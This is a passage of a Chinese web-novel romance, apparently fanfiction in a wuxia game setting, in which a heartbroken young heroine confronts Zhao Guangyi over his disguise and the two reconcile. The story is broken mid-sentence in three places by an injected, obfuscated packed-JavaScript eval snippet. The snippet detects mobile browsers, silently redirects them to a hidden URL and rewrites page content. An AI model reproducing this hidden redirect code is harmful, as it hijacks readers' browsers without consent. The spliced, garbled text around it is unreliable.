我又开始哭:“田叔……田叔……你说我的命怎么这么苦啊……一夜之间家没了,寒姨没了,刀哥没了,红线没了,到了开封好不容易结交了几个朋友,结果一个两个都有两幅面孔,只剩赵大哥看起来还清清白白了。咋办啊,这世界上就没有真情了吗?” 妙善禅师:“……你确定要和出家人讨论恋爱问题?” 我抹着眼泪,痛诉:“第一次见面他就给我喂毒药,也是我当时猪油蒙了心,只顾着看他的官威不顾看他的脸,可谁第一次见面盯着脸看啊?第二次见面天很黑,我一开始都没认出他来,他哥在旁边我也没看清楚脸,这能怪我吗?之后他换了身打扮,梳了那么好看的头型,配一身白衣服,娇娇俏俏,柔柔弱弱,脸蛋又那么好看,一开口说话先喘半天,试问哪个女人能抵挡这样的诱惑?” 妙善禅师:“哦,我听明白了,你见色起意,被仙人跳了。” 我:“……倒也可以这么说。” 妙善禅师问:“你被骗了什么?钱?功法?武器?护甲?还是说腰子也被割了?” 我噙着泪:“我被骗了真心!” 妙善禅师:…… “我见人就说我有心上人了,开封路边的狗都知道我心上人送了我纸鸢!”我嗷地开始哭,“我是真心喜欢他的!田叔你不知道,他和别人真的不一样!他看到我就对我笑,看到他笑我就脸红心跳,真的抵挡不住啊!他笑起来好看,说话好听,他对我真的好温柔,我以为,我以为……我以为我终于又能做回正常人了,终于可以不用疯疯癫癫地在江湖上漂来漂去了,可是——” 妙善禅师问:“可是什么?可是你发现他喂过你毒药?” “可是……可是我以为,哪怕他不会像我喜欢他那样喜欢我,只要他对我有真心,只要他能把我当成朋友,我就很开心了……结果……” 我想到开封府中赵光义那张似笑非笑的脸,羞愤再次涌上心头:“结果我发现,他好像只是把和我相处当做游戏。他明知道我脸盲没认出他来,可他也不揭穿,就这样继续假扮晋中原,陪我聊天,和我逛街,甚至在遇到盈盈的时候装出一副吃醋的样子……究竟什么是真的呢?他把我当做什么,逗狗玩吗?他是不是觉得看着我为他的伪装身份神魂颠倒非常有意思?这是对我破坏他计划的报复吗?” 妙善禅师:“哎,你脸盲?” 我:“这是重点吗,田叔!” 妙善禅师揭下面具:“你早说啊……没事,你继续吧。” 我吸吸鼻子,闷闷地说:“其实没什么,我生他的气,也生我自己的气。气我自己眼瞎,为什么在地宫就没认出他是赵光义。我后来仔细想了想,其实他根本没有做什么易容,只是夹着声音对我说话而已。我真的……唉。” 田英总结:“你有个喂你毒药的仇敌,后来有一日你遇到了变装的他,你没认出来,他也没点破,结果你喜欢上他了,他半推半就地和你继续相处,前两天你突然发现喂你毒药的和你喜欢的竟然是同一人,你无法接受,觉得他在玩弄你感情,是这样吗?” 我拍手:“田叔好聪明!田叔好有逻辑性!田叔田叔我们喜欢你~我们喜欢妙善禅师~佛子~刺客田英~田叔田叔我们喜欢你~” 田英抬脚:“多大点事,忘了他,去找下一个。滚吧!” 我被他轻轻一踹,在地上咕噜咕噜滚了两圈,面朝下趴在地上,原地蠕动两下:“可我走不出来……田叔……我现在满脑子都是他……” “你要是闲的没事干就去高粱河多杀几个契丹狗,顺便把佛光顶藏经阁的地都拖了。”田英说,“还有,把我面具放下!” 我悄悄把怀里的面具拿出来,嘟囔:“打了那么多次都不掉……送我一个怎么了……” 说到这儿,我又呜咽起来:“高粱河……呜呜呜……高粱河……我怎么喜欢上一个会飙驴车的男人啊……这以后他飙驴车二百里回河北,别人都要咋说我?哈哈,你心上人就是飙驴车那个,哈哈,你心上人破防之后给弟弟侄子毒死了,哈哈你心上人被□□评价说是‘无能’……我的阿原,我漂亮温柔的阿原,阿原你咋变成那样了,我不接受啊,阿原啊——” 田英捡起面具,“噗通”一声跳下河跑了。 “田叔也不要我啦——啊——这个冷酷无情的世界,为什么要这样虐待我一个精神病!” 我摇摇晃晃站起来,抹着眼泪往外走:“田叔不理我,我去找小十七!” “小十七,我跟你说,我失恋了……” “叶万山,我跟你说,我失恋了……” “无相皇,我跟你说,我失恋了……” “黑财神,我跟你说,我失恋了……哎这里有长鸣玉我捡一下。” 从清河哭回开封,我决定化悲愤为力量,把开封周边的支线任务清一清。 田叔说得对,为男人痛苦就是闲的,有这个时间不如为人民多做做好事! 听说常平仓附近缺粮,我现在就去行侠仗义! “什么,你也在为男人痛苦?” 和伪装成常平仓转运使的郑鄂互相暴打一顿后,我和他紧握双手:“哥们儿,你也失恋了?” 郑鄂看了一眼不远处沈义伦和郑阮的尸体,有些迟疑:“呃……” “哥们儿,我懂,我懂,太难了,问世间情为何物,直教人生死相许!不过你实在是有点极端,爱一个人竟然将对方囚禁,这好吗?这不好。不好在于我囚禁不了我喜欢的人,他哥太能打了,要是我把阿原抓走关起来,隔天我就会被他的猛男大哥锤成一张湿润的小侠饼。” 郑鄂:? 看到他呆滞的表情,我惨然一笑:“抱歉,我又在想他的事,我是说……抱歉,脑子里又都是阿原……我在想……对不起,对官威犯错了……呃啊!!!算了,咱俩再打一场吧!” 郑鄂:今天真是遇到精神病了!!! 和郑鄂又痛痛快快揍过一场,我鼻青脸肿一瘸一拐地离开常平仓,绕着开封城开了一圈界碑,等整个人疲惫不堪了,才回龟奶奶家打地铺,昏天黑地地睡上了一天。 醒来之后,我只感觉腰酸背痛,人也蔫蔫的。 龟奶奶收拾好东西出门卖龟儿子了,临走前问我今天还去不去升平桥吃早点。 一听到“升平桥”这三个字我就心一缩,我垂下头,勉强笑了笑:“不啦,奶奶,我找到新的吃早点的地方了。奶奶你去卖货吧,注意安全!” 我在屋里呆坐许久,等到实在饿到不行,才垂头丧气地出门找东西吃。 和前几日不同,我现在蓬头垢面,披头散发,之前准备好的那几套漂亮新衣服也不穿了,套着在清河打架的那身女鬼红衣就出了门。一路撞到行人无数,不少人在背后指着我骂,说要去官府告我,我无精打采地回头看他们一眼,心说:告吧,告到赵光义那里去,正好让那个狗官找个由头给我弄死得了。 我去张安康家的食肆要了玩槐叶面,刘娴问我少侠怎么今天不背纸鸢了?我神情萎靡地一摆手,说:别提了,男人都是狗。 刘娴同情地“哦……”了一声,过了一会儿,端上来的槐叶面里卧了枚鸡蛋,她说是张安康送我的。 我眼含热泪嗦了面,结完账就哭哭唧唧地出门,往樊楼的方向去。 人不开心就要找开心,整个开封城最能让我开心的就是樊楼夜总会。 我要把打黑财神得到的钱都挥霍出去! 先去大澡堂子搓个澡,我要奶搓!让天泉的搓澡师傅搓,正宗东北洗浴,给我皮都搓展开了!搓完吃自助,吃完自助去和姐姐们飞天二人舞!跳完舞我就留在樊楼正中心唱歌! “太阳出来我爬山坡!爬到了山顶我想唱歌!歌声唱给我妹妹听啊,听得妹妹笑呵呵!” “七月七日晴突然下起了大雪,不敢睁开眼希望是我的幻觉~” “过——情关——谁敢闯——望明月——心悲凉——” “马蹄南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可他不仅仅是晋中原,他是赵光义啊。他被我搅了唐钱策,拿剑那样指着,还被我看遍了心魔,他究竟是出于怎样一种心理每日在升平桥边等着我,听我叭叭地编排他本人,然后笑意盈盈地说我有趣? 江叔,寒姨,我分不清啊——我分不清啊—— “咦,少侠?” 行至赵府侧门,我忽然听见有人叫我。抬头一看,赵大哥圆墩墩地站在一处小院门口,略惊讶地出来对我打招呼:“你今儿怎么也在这儿?” 看到赵大哥,我突然悲从中来,深吸一口气,扑上去就是嚎啕:“赵大哥——我失恋了——我被坏男人骗了!!!” 赵大哥猝不及防被我撞到怀里,竟然没被撞飞(下盘很稳,这就是煤气罐),他无措地拍拍我的背,说:“哎,哎,别急,哭啥了?什么情况啊?你连纸鸢都不背了,这手里的虫又是怎么回事……慢慢说,什么坏男人,你被骗走什么了,赵大哥帮你!” 我的五官都皱到一起,委屈得不行。但我后知后觉地想起来赵大哥好像和赵光义关系很好,于是我就把晋中原真实身份那段咽了回去,含含糊糊地说:“没什么实际损失,就是……就是失恋了。” 赵大哥看我硕大的黑眼圈,应该也明白过来是怎么一回事,他拍拍我的肩膀,叹了口气:“就算没亲人在身边,你也不能这么糟蹋自己身体啊?为个男人,不值当!是不是你之前说的升平桥边送你纸鸢的那个?” 我抹着眼泪点头:“是……” “你前几日不是还高高兴兴学了官话讲给他听吗?他不喜欢?” “不是官话的问题……是……是……”我哇地跺脚,“wish today,狐狸精太害人了,太害人了!俺还说呢,他长恁带劲,咋冇人要嘞?冇人拾就俺拾嘞,结果,结果……” 赵大哥:“噫,恁这官话说得越来越中了,就是wish这句俺没教过。” 我:“俺自学嘞,俺认学。” “中,莫想他嘞!旧的不去,新的不来,会有更好的!”赵大哥拍拍胸脯,“这样,俺把俺弟弟介绍给你!正好他今天在,我俩和蒲先生在院里头烧肉呢,你也来怼点,年轻人认识认识!” 我问:“就是你说的那个很俊很齐整的弟弟?” 赵大哥打包票:“是啊,俺弟啊,那长的,不行不行了都,可带劲,保管你把那升平桥小白脸忘了。” 我叹了口气,一抹脸,扒拉扒拉刘海,说:“走!既然是赵大哥介绍,那我也不能差事儿!” “哎,中嘞!”赵大哥喜笑颜开,“走走,来吧,他俩刚才正吵呢,你一来就没声儿了……蒲先生,阿义!来看看这是谁啊,少侠来了!” 我被赵大哥拉到小院里,小院正中,蒲先生还是一身书生打扮,见了我就笑笑。而我的视线黏在了院落斜对角的那个背影上—— 那身白衣服,那头披散的头发,那是…… “哎,那边的就是我弟!你叫他赵二哥就行。”赵大哥笑着指指角落那死活不愿转身的人,“阿义,怎么不过来和少侠打声招呼?” 小院陷入死一般的可怕寂静。 我慢慢看向赵大哥,赵大哥真诚地注视着我,半晌后,我低头,缓缓看了一眼赵大哥还拉着我的粗糙大手。 我有点想死了。 12. 第 12 章 看着背对我们死活不愿转身的白色人影,我怀着最后的幻想,轻声问:“赵大哥,他就是你弟弟?” “是啊。”赵大哥说,“阿义,来和少侠打个招呼嘛,别犯拧。哈哈,少侠,他平时不是这样的……” 我眼神放空,感觉整个人在宇宙中飘浮。 赵大哥和蒲先生开始叨叨,说他们刚才在商量吃鱼还是吃羊。蒲先生想吃鱼,赵二哥想吃羊,赵大哥就给我塞了一兜子钱,让我去街上能买着啥就买啥。 全程赵光义都站在墙角,对着墙面一声不吱,跟罚站似的。 我都没看钱袋里有多少钱,恍恍惚惚地就往外走。走到门口还绊了一下,差点给我大门牙卡掉。于是我又做鬼一样往回走,叫住蒲先生,说:“伸手。” 蒲先生不明所以地伸出手,就看见我往他掌心放了一只大西瓜虫。 “承宗送我的,你拿着吧。顶不住饿了就吃点。”我飘忽道,“我走了嗷。” 蒲先生:………… 走到大街上,我的脑子里一直在循环一首歌: “爸爸的爸爸叫什么?爸爸的爸爸叫爷爷!爸爸的妈妈叫什么?爸爸的妈妈叫奶奶!” “赵大哥的弟弟叫什么?赵大哥的弟弟叫赵光义……” “赵光义的哥哥叫什么?赵光义的哥哥叫……赵匡胤?” 我干笑两声,双眼无神,已然对人生失去了希望。 开封的套路太深了……太深了……人和人之间能不能多一些真诚,少一些套路…… 我蹲在街边抱着脑袋想了好久,痛苦地开始复盘。 搞了半天,铁拳无敌超人官家竟在我身边? 赵大哥跑前跑后跟我一起到处查生金瓯失窃,在樊楼和赵光义一副那么亲昵的样子,原来这都是他俩算计好的吗? 所以我从熔炉杀出之后,即便对着赵光义那么大放厥词,赵匡胤也并没有对我有任何处罚,全是因为他早就知道我是个什么样的人,而且我的行为也在他的预判和期望之中。 你们老赵家一个个的…… 可是,赵大哥对我的关心和情谊,应该也不是假的。他在樊楼安慰我,面对官兵追捕护我安全,和我聊天下局势,大宋未来…… 我希望我们之间的情谊是真的。 那,赵光义和我的情谊又如何呢? 我抹了一把脸,叹了口气,摇晃着买菜去了。 吃烤肉是吗,中嘞,中。大金腰带小手表,一天三顿小烧烤,江叔他们天泉老铁每天就是这么一出! 蒲先生要买的江南鲥鱼我买到了,特贵,但赵大哥给了钱,再想想他们的身份,我就觉得他们就算要吃美国五大湖鲤鱼都应该。 契丹人搞贸易封锁,赵光义想吃的燕云羊买不到。我心里有些遗憾,回过味来我就开始唾弃自己:遗憾啥!狐狸精吃点鸡得了,还想吃羊?美得他! 我大包小包地回到赵府,赵大哥见到我之后吓了一跳:“怎么买了这么多!” “咱们四个人呢,三个大老爷们儿,光吃那么一两样肉有什么意思?”我把菜篮子里的东西一样一样往外掏,“都叫摊主处理好了,牛心管牛板筋牛肉串五花肉猪蹄子鸡翅鸡心里脊肉,不光有肉还有菜,生菜茄子黄瓜苏子叶还有金针菇,酒水也买了,水果没买,谁想吃就自己去弄。” 放下东西,就听见赵大哥嘿嘿地笑,边笑边夸:“少侠心细,考虑事情真周全。有了少侠,我们几个今天有口福喽!不过,鲥鱼和燕云羊,你买到了哪一样?” 我抬眼一扫,这三个人已经收拾过小院,正中生起了火,摆上四张条凳。蒲先生和赵光义都入座了,其中赵光义坐在对光侧,夕阳的光把他的脸照得亮堂堂的,就像那天在红绡铺门口,我踮起脚尖往他嘴角亲上一口那样,又白又漂亮。 我不敢再看,垂下眼睛,就听赵光义开口道:“买来的必定是羊肉,燕云比江南近上许多,货物买卖更为便利。” 蒲先生开口就驳:“燕云虽近,却是敌对,货物买卖只难不易。” 我对他们的争吵充耳不闻,放下食材就一屁股坐下了,低着头抠手,心神飘远了,去想乱七八糟的事。 “少侠,少侠,想什么呢,还蔫儿呢?” 赵大哥在我眼前晃了一晃手,我回神,勉强笑笑:“有点饿了。” “嗨,别想你那个升平桥的小白脸了,尝尝蒲先生的手艺吧!”赵大哥把肉串递给蒲先生,指指坐在我对面的白衣青年,“你和赵二哥年岁相近,有什么烦恼也可以找他说说。我弟弟人聪明,看事儿也透彻,让他来开解开解你。” 我僵硬地点头:“谢谢赵大哥,我没想他。我就是……” 就是什么呢? 啥也别说了,老铁,都尴尬成这样了,先喝点儿吧。 整上! 我抿着嘴唇拿起酒坛倒酒,“哗哗”倒了四碗。赵大哥见状哈哈大笑,端碗要和我碰,夸我豪爽。 “你不是不喝酒吗?” 火堆那头,赵光义清凌凌地出声询问。 我突然想起,之前我和晋中原说过自己不喜欢喝酒,身在不羡仙也没怎么尝过离人泪。 “我不喝酒?有吗?你是怎么知道的?”我装傻充愣地抬起头,对上赵光义的双眼,然后粲然一笑,“赵二哥不会是搞错人了吧?我呀……酒量特别好。” 说着,我和赵大哥碰了一碗,亲亲热热地又去和蒲先生碰:“今天真是有缘,能和几位在这儿吃烧烤。情义都在酒里,来,咱走一个!” 赵大哥叫了一声好:“敞亮!走一个!” 说完,我俩就仰脖“咣咣”开始喝。 酒水是很辣的,我讨厌喝酒,就是因为讨厌这辛辣的味道。寒姨和江叔都教过我品酒,可我尝不出来酒究竟有什么好滋味。最后寒姨只能叹息,说我这孩子五感都不敏锐,分不清人脸也尝不出好坏,离人泪有可能要在我手上失传。 一语成谶,离人泪真的在我手上失传了。 不会酿酒,但从小在不羡仙长大,我见惯了酒客,对酒桌上那一套非常熟悉。我强迫自己忘了赵光义和晋中原那点子破事,拉着赵大哥和蒲先生活跃气氛,给他们倒酒添肉,笑着和他们碰碗,喝前还要说一套又一套的漂亮话,酒酣耳热之际,我站在条凳上,脸红红地开始唱: “狼烟起,江山北望!龙旗卷马长嘶剑气如霜!心似黄河水茫茫!二十年纵横间谁能相抗!” “恨欲狂,长刀所向!多少手足忠魂埋骨他乡!何惜百死报家国!忍叹息更无语血泪满眶!” 三个姓赵的都抬头看我,赵大哥卷起袖子,一个劲儿叫好,用筷子敲碗给我打节奏。蒲先生一副有点紧张的样子,我知道他是怕魏姨听见我鬼哭狼嚎的声音过来踢他大飞脚。 赵光义,我没去看他,他一直很安静,或许他也不知道要对我说什么。 一直以来,我在晋中原面前都谨慎克制,他那么漂亮,那么温柔,我也想把自己最好的一面表现给他,就算是小小发疯也是精心计算过的可爱赤诚。 我不想让他看到我真正撕破脸皮后疯癫的样子,那是我最不堪最奇形怪状的形象,让我生长的清河把我视作怪物,连我自己都讨厌。 可后来我发现,其实他早就见过我精神病发作,见过我满身血气从熔炉杀到他面前,用剑指着他,满眼都是同归于尽的疯狂。 那之后,他看到扭扭捏捏竭力掩藏表现的我,心里是怎么想的? 会把我当成一个笑话吗? 那我就继续做一个笑话吧,至少能让自己笑,这就够了。 “马蹄南去人北望!人北望草青黄尘飞扬!” 我的嗓门非常大,唱歌唱起来是撕心裂肺,赵大哥听得那是热血沸腾,我唱第二遍副歌的时候他也站到条凳上和我一起吼:“我愿守土复开疆!堂堂大宋要让四方——!!!” 歌声惊起飞鸟,唱完之后赵大哥擦擦眼睛,夸我不愧是忠良之后。我灌了自己一口酒,心里却想:要是我真的在熔炉那夜和赵光义同归于尽了,《精忠报国》还会存在吗?徽钦二圣没了,赵构也没了,历史应该会不同吧。 想到这儿,我就觉得有点好笑,朦胧地抬眼去看赵光义。 赵光义沉着脸,他正好也在看我。 “赵二哥~”我腻腻乎乎地喊他,走过去直接坐到他旁边,端起他手边的酒盏给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103050|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,“赵二哥,你不会还在生我的气吧?你怎么都不喝酒呢?二哥要是有心,就请喝了老子这碗残酒~” 赵光义睨我一眼,冷笑一声,说:“生气?我为什么要生少侠的气?” “气我当初对二哥大放厥词,说些大话吓唬二哥。既然二哥雅量不计较,那真是再好不过!”我笑嘻嘻地将酒碗往他嘴边又凑了凑,“二哥,听赵大哥说,你们家兄弟几个,个个都长得齐整俊俏。之前赵大哥答应要介绍自家兄弟给我,今日见了赵二哥,果然非凡!不知你家另一个兄弟年方几何,样貌性情和二哥相不相似?” 赵大哥黑黑的脸嘿嘿地笑:“好说,好说!我家光美啊,年方十五,也是齐整,嘿嘿,虽不如阿……阿义,但是,和少侠你年岁相当!说不定,也很合得来!” 赵光义刚要抬手,我就把酒碗直接怼到嘴边,“咣咣”全喝了下去。 再一抹嘴,我震声喊道:“好!他十五,我十六,这不比和二十三岁老登来得相配?这帮岁数大的老登就喜欢玩弄小姑娘感情,烦死了!我不玩儿了!谈什么恋爱谈恋爱,南唐收服了没有?有没有在努力和吴越国沟通?北汉那鼻噶点大的地方怎么总也打不下来?契丹人内部的信息有没有在收集?一天天净整簪花这没用的,别到时候急吼吼带几十万大军去北伐,最后开个驴车屁滚尿流回河北!” 三个姓赵的都很震撼地看着我,我捏着拳头,绕着小院开始跑:“如果大宋遭受了侵犯,热血汉人当自强!喝干这碗家乡的酒,英雄一去不复返!滚滚黄河滔滔长江,给我生命给我力量!就让鲜血染红!最美的花!撒在我的胸膛上——!” 蒲先生端着酒碗,小声问赵大哥:“少侠这是……” 赵大哥摆摆手,指指脑袋,低声说:“前些日子,清河不羡仙不是……孩子亲眼见着家没了,家里人也一个都不在了,所以就有点……” 蒲先生怜悯地点点头,赵大哥又看向脸色铁青的赵光义,说:“她是个好孩子,你看,心多好多善呐,你也别总跟她置气。我今天是特意介绍你们两个认识,你们以后多走动走动。她前段时间喜欢上一个公子哥,据说是救了那公子的命之后又被骗感情了,所以有点想不开,今天说话有些古怪。你多顺着她点,照顾照顾她,啊。” 赵光义僵硬地扯扯嘴角:“她怎么被骗感情了?” 赵大哥:“这俺也不咋清楚,你回头查查,说是长得可白净漂亮,叫阿原。你不是也总去升平桥?你给打听打听。” “少侠,猪蹄好了!” 我一个箭步冲到蒲先生旁边,接过还发烫的猪蹄,洒下香料之后坐下就开始吃。 “等等,赵大哥!” 我抬起头,目光灼灼地看向那交头接耳的两兄弟:“你平时可一定要注意饮食!少吃油腻,清淡为主,冬天别被冻着,我认识的青溪医者说,人到中年之后不能受冻,尤其是骤然受冻,很容易脑出血猝死!” 赵大哥一愣:“啊?哦,呃……好嘞!” 说完之后,我斜了一眼赵光义,低头继续咔咔啃猪蹄。 蒲先生的手艺确实很好,也不知道他咋练出来的,喝完酒我就开始吃,时不时和周围三个姓赵的碰一圈。我也不避讳和赵光义碰碗,他不害臊我也不害臊,我一个精神病人我有什么可在乎的,喝!喝就完事了! 喝到天色昏暗,只能通过跃动的火光看清人脸时,赵大哥说,要不咱散了吧。 我要帮蒲先生收拾,蒲先生说不用不用,他会安排。赵光义掏出手绢,我就看着他先擦嘴,然后细细地一根一根手指地清理,很像狐狸在梳毛。 察觉到我在看他,赵光义抬眸看向我,眯了眯眼。 我懒得对他笑,面无表情地站起身,对赵大哥招呼:“我先走啦!谢谢赵大哥,也谢谢蒲先生,今天吃得真开心,下次有机会再约嗷!” 离开赵府,我猛地一窜,直接跳到了屋檐上。 我找了一个绝佳的位置蛰伏起来,脱掉外套,蒙上头脸,静静地看着路面。 等到那一袭白衣进入视野后,我飞身而下,师承田叔的一个大飞脚就照赵光义屁股上去了—— 狐狸精,受死!!! 13. 第 13 章 我凌空一脚,便是国足紫微星降世也不及我这脚法万一。 你什么紫微星?我国足紫微星! 赵光义猝然遇袭,一个踉跄就摔到了地上。我两腿一分直接往他腰上一坐,揪着他的领子就想揍他。 “什么人!?” 赵光义剧烈反抗,手就要往腰间的匕首上移。我只能一手掐着他的脸,一手去按他的手,恶狠狠地压低声音:“阿达西,我西域来的呢,钱多多的给!多动的不要,刀子的不要,我的手熊狼豹子一样的力气有呢,你脸上我一个大巴掌过来,漂亮的小脸狐狸一样的以后看不到了!” 他的脸软软的,手感很好,我有些心荡神驰,很快又开始唾弃自己的立场不坚定。 月光下,我模糊只能看清他的双眼,赵光义从喉咙发出有点类似笑的声音,反问:“西域人?抢钱?” 我发狠道:“捧油的脑子鹰一样好用的呢,最好也兔子一样乖,多的话不说,我馕一样大的拳头在你脸上狠狠的驴车一样过来呢!” 我就是想揍他! 混账玩意儿,竟然还敢打扮成晋中原的样子若无其事地在我眼前晃悠,我今天就要让他弹奏肖邦的夜曲祭奠我死去的爱情! 突然,赵光义咳嗽了起来。 “咳!咳,咳咳……你压着我,我……我突然……咳咳……喘不上气……” 就像是在地宫那天一样,他发出了呼吸困难的声音。我稍一迟疑,想凑近了看看他的情况,猛然间,我脸上的布被扯了下来。 再看过去,赵光义哪还在咳嗽,他一脸好整以暇地盯着我,脸上挂着讥讽的笑:“少侠,你已经窘迫到当街袭击朝廷大员抢钱的地步了?” 我只感觉血往脸上涌。 我恨我自己情感不坚定,又恨他竟然就这样明明白白地拿捏住我的感情,好像我的真心只是他可以随意玩弄的工具。 他真的好笃定,笃定是我,也笃定他只要假装柔弱我就会心软。 完了,遇到这种狐狸精我真的在开封混不下去了! 风紧,扯呼!不然今晚开封府大牢见!捧油,狗头铡对我的脖子像火箭一样掉下来呢! 我松开掐着他脸的手,起身就要跑。 赵光义死死揪住了我的腰带,也不知道他哪里来的这么大力气(开驴车开的),我跟揪住后颈皮的狗一样扑腾,嘴里骂骂咧咧:“赵老二!你撒开我!你当街欺负十六岁少女!你摸哪儿呢!你小心我吐你一身,我告诉你我今晚酒喝多了,你可是亲眼看着的,我把我吃下去的全吐你身上!” 他把我拽到他身前,男人温热的躯体贴到我背上,只听见头顶是他咬牙切齿的询问:“这几日你躲什么?” “躲你!”我把手翻到后背去,胡乱去抓他的手腕,“你别装傻,你明知道我脸盲,成日里还笑眯眯的骗我!” “我骗你什么了?”赵光义和我的手搅在一起,一来一回地捉拿按放,“我特意让你去开封府领解药,也从未易容,是你自己一直没有发现!你还全开封地嚷嚷说自己背着心上人送的纸鸢,心思如此,我也没有阻止,你现在委屈什么?” 我转过头,眼眶通红地瞪他。 “你是不是看我笑话!”我吼他,“你是不是觉得你换了身衣服我就认不出来你是谁这件事很好笑!” 赵光义愣了一下,说:“难道不好笑吗?” 我都惊了。 他怎么敢把这种话说得这么自然! “赵老二,我一口牵机药毒死你算了!”我嚎了一声,“撒开我!我现在给你按上驴车,肘,跟我去见耶律休哥!” 赵光义有点难以理解地盯着我:“我至今不知道你在发什么癔症。满天下宣扬说心悦我的是你,主动和我亲热的也是你,如果是介意我的身份,你之前又亲口说过并不厌烦我。结果现在好像我是你生死仇敌一般,你究竟在纠结什么?” 我喘了几口气,绷着脸,抬头对赵光义说:“是,我确实喜欢你,真的喜欢,非常喜欢,很喜欢!” “可我不知道你究竟是怎么看我的。没错,我没认出来赵光义和晋中原是同一个人,我不讨厌赵光义,我很喜欢晋中原,但这并不代表我能接受赵光义就是晋中原。赵光义会怎么想我?赵光义会怎么看待我的那些言论?赵光义眼中,我所做的一切不是很滑稽吗?” “我可以接受自己的真心得不到回应,我也做好了阿原拒绝我的准备。可我无法接受自己的真心被当做笑话!” 他已经松开了我的手,我用力眨了一下眼睛,眼泪就滚了下来。 “你今天还穿着阿原的衣服,你但凡穿着紫色心情来我都不会这么破防。阿原,我的阿原没了,我的阿原……” 赵光义动了动,低声说:“哭什么,我又没死。” “……我知道。”我嘟囔着抹了一把眼泪,“我现在也舍不得你死了。” 赵光义:“什么叫‘现在’不舍得?” 我:“赵老二你抠字眼干什么,仗着你哥能打就开始凶我了?狐狸尾巴夹不住了是不是?告诉你,我最近在和十只鹅进行搏斗训练,等我战斗力上去,迟早有一天能打败赵大哥!到那天我就给你抢走,给你关起来,知不知道什么是‘铜雀春深锁二义’?” 赵光义嗤笑一声:“你把我锁起来是想做什么?” 我气势汹汹道:“折磨你!一天抽你三顿!到时候李煜关你隔壁,我也抽他,逼他写词,你也别给我闲着,你就,你就……让你干点啥好呢……” 我琢磨起来,突然感觉脸上一软,赵光义伸出手,在我脸上抹了两把,把还挂在脸颊上的眼泪擦了下去。 “你别忘了,本官的开封府牢倒是有很多空置的单间。”他低声说,“地牢里头工具齐全,就凭你今夜袭击晋王的罪名,能让你在里面住到海枯石烂。” 我梗着脖子瞪他:“那你也要抓着我才能算啊?” 他笑了:“本官现在抓你不是易如反掌?” 我怒:“吹牛呢你?就你还想抓我嗷?‘少~侠~有~成~算~便~好~’是谁说的?在地宫里趴我怀里的是谁啊?说一句话喘半天咳五下,狐狸眼睛泪水涟涟的,要不是我孔武有力,你怎么从玄元教魔爪下跑路?” 赵光义慢悠悠地说:“当初在地宫,少侠是怎么想来救我的,现在自然也会出于同一个理由被本官抓住。” 我:“我不会再见色起意了!!!” 黑暗里,我听见赵光义开始笑。这是晋中原和我相处时轻松快乐的笑声,他笑得我心头酸涩,又有些隐秘地欣喜。 “笑什么!”我努力装出凶巴巴的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103051|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抬手揪住他胸前的黑色领口,“你还没回答我呢,你到底喜不喜欢我!” 赵光义的笑声渐止,他咳嗽一声,又归于沉默。 “咋不吱声了,你那小嘴儿刚才叭叭的不是挺能说,现在搁这儿装什么深沉?”我急了,踮起脚尖晃悠,“你喜不喜欢我!你喜不喜欢我!赵老二!赵光义!” 赵光义垂眸看我,他的睫毛很长,一颤一颤的,我的心也被引得一颤一颤的。 “若我说不喜欢,你待如何?” 我的手慢慢没了力气。 “我……也不如何。”我低声说,“我就不会再来纠缠你了。不会来开封府,也不会去升平桥。可能过段时间会出去走走,去看看别处风光,比如太湖……我知道自己几斤几两,不会再自讨没趣。” “那么,你还是来纠缠我吧。” 赵光义的声音像精怪的呓语,轻轻附在我耳侧:“你说要去大相国寺给我采花,我到今天都还等着呢。” 我感觉从脖子到耳朵尖,一股热气升腾起来,整个人像烧着一样。 “你,你这——” 王八蛋赵老二,说话弯弯绕绕,坦白一点会死吗? 但是没关系,我聪明,我听懂了! 我手一松,整个人直接向前一撞,脑袋“咚”地顶在赵光义胸前,给他撞得“嘶”一声。 “果然!我就说我聪明活泼可爱幽默还武艺高强你怎么可能不喜欢我!!!” 我伸长手臂,死死搂住赵光义的腰,脸贴在他胸前使劲儿蹭:“狐狸精!我的了!狐狸精!我的了!贴贴官威,贴贴狐狸毛!” 赵光义:………… 他咬紧牙关,发出气声:“成何体统,这是在大街上!” “都宵禁了,没人看我们。”我依旧把脸紧贴在他胸前,“大不了让打更的看见,举报给开封府,然后咱俩一人一间牢房去蹲蹲嘛。放心,我认识开封府尹,他能给咱俩捞出来!” 赵光义气笑了:“这么快就开始狐假虎威?” 我抬起头,下半张脸还埋在他怀里,对他眨眨眼睛:“嘿嘿,假的是开封狐狸大王的威。好大王,好殿下,让我抱抱吧,我从乡下来的,哪见过你这么俊的郎君,一见着你我就魂也丢了魄也散了,满心满眼就想着和大王一起匡扶宋室……” 赵光义掐住我的脸,用力捏了捏:“胡言乱语。” 我:“这是癔症,需要全天下最俊俏的郎君亲我一口才能治好。你知道全天下最俊俏的郎君在哪儿吗?府尹大人手眼通天,能不能帮我把他找来呀?” 